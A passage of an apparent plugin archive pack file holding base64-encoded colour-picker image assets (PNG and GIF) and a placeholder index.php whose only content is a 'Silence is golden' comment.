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
###PACKDATA,FILE_END,/pluginbuddy/images/minicolors/gradient.png,importbuddy/pluginbuddy/images/minicolors/gradient.png
###PACKDATA,FILE_START,/pluginbuddy/images/minicolors/index.php,importbuddy/pluginbuddy/images/minicolors/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/pluginbuddy/images/minicolors/index.php,importbuddy/pluginbuddy/images/minicolors/index.php
###PACKDATA,FILE_START,/pluginbuddy/images/minicolors/line.gif,importbuddy/pluginbuddy/images/minicolors/line.gif
R0lGODlhGgADAIAAAP///wAAACH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4wLWMwNjAgNjEuMTM0Nzc3LCAyMDEwLzAyLzEyLTE3OjMyOjAwICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IE1hY2ludG9zaCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo3QUM5NzJGODM0QUUxMUUwODU0Q0ZERTExMDkyNDkzRCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo3QUM5NzJGOTM0QUUxMUUwODU0Q0ZERTExMDkyNDkzRCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjdBQzk3MkY2MzRBRTExRTA4NTRDRkRFMTEwOTI0OTNEIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjdBQzk3MkY3MzRBRTExRTA4NTRDRkRFMTEwOTI0OTNEIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAABoAAwAAAguEj6ka7Q+jW7SeAgA7
###PACKDATA,FILE_END,/pluginbuddy/images/minicolors/line.gif,importbuddy/pluginbuddy/images/minicolors/line.gif
###PACKDATA,FILE_START,/pluginbuddy/images/minicolors/rainbow.png,importbuddy/pluginbuddy/images/minicolors/rainbow.png
iVBORw0KGgoAAAANSUhEUgAAABQAAACWCAIAAABRkz+JAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6N0FDOTcyRjQzNEFFMTFFMDg1NENGREUxMTA5MjQ5M0QiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6N0FDOTcyRjUzNEFFMTFFMDg1NENGREUxMTA5MjQ5M0QiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo3QUM5NzJGMjM0QUUxMUUwODU0Q0ZERTExMDkyNDkzRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo3QUM5NzJGMzM0QUUxMUUwODU0Q0ZERTExMDkyNDkzRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PnzKFbcAAAcCSURBVHjanFnbcttG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
###PACKDATA,FILE_END,/pluginbuddy/images/minicolors/rainbow.png,importbuddy/pluginbuddy/images/minicolors/rainbow.png
###PACKDATA,FILE_START,/pluginbuddy/images/minicolors/trigger.png,importbuddy/pluginbuddy/images/minicolors/trigger.png
iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6RjU3RTU1MzIzNERFMTFFMDg1NENGREUxMTA5MjQ5M0QiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6RjU3RTU1MzMzNERFMTFFMDg1NENGREUxMTA5MjQ5M0QiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4OEQxNkIyMTM0REUxMUUwODU0Q0ZERTExMDkyNDkzRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4OEQxNkIyMjM0REUxMUUwODU0Q0ZERTExMDkyNDkzRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PiDK9P0AAAHySURBVHjarJVBasJAFIYnyVgXtrorusgdXOrWZaHgFbooegv1EoI7j+AtXLsXFFy0FFRs0LYxmXT+YV6YxIgpzcDzJcN73/z5M06s4XD4zBhrsGLHGxdCNEaj0aRI6mAw6AFs4SaKokKglmUxMHkYhgqKaDabvf9AF4vFBBwwAbbkCgpcqVTYfD7/kjWnjD6BB9MZEeocyLhrt9suOBhgJhRXq1WmodsrMBNo5gfZ65KdpFhBsVqtVmO6MLwBEkYdwkZvAhwEgUXgUqmEeV/Gzw1Q+l71EhhMpRhQBOcc8986TAgWg/dHfU3zaiPIuEev4XFSsQYfNSTUC3xq38WVzQCZPnoTivGTUnzScE9nkWOnCVMxgdNWAPiht1HekQZnWrHNAeXaArIiurDifD7Hih3HYTmgzng8floul/XEpOwlxWAmFGtwwlN5+qkwX9ZqtarLg2aCt28OWADGtZcnTGhGVn4C4vt+5iEUW0GKbduOwSmVMRj1qKOe2WzGNpsNc12XdbtdNa9q0las12uRBaWBfxjqqEeeiGy326lMh5lS7HmeTYcQlEyn09dbe4sUI6C01WqpTHNg8v1+b5PH/X4/95cE/tIu6HQ68TUymPxwODh4tHK5/KevCHr0LrqYB9OSwBf5aI9FfvOk6vdfAQYA4jTPF9eEdoEAAAAASUVORK5CYII=
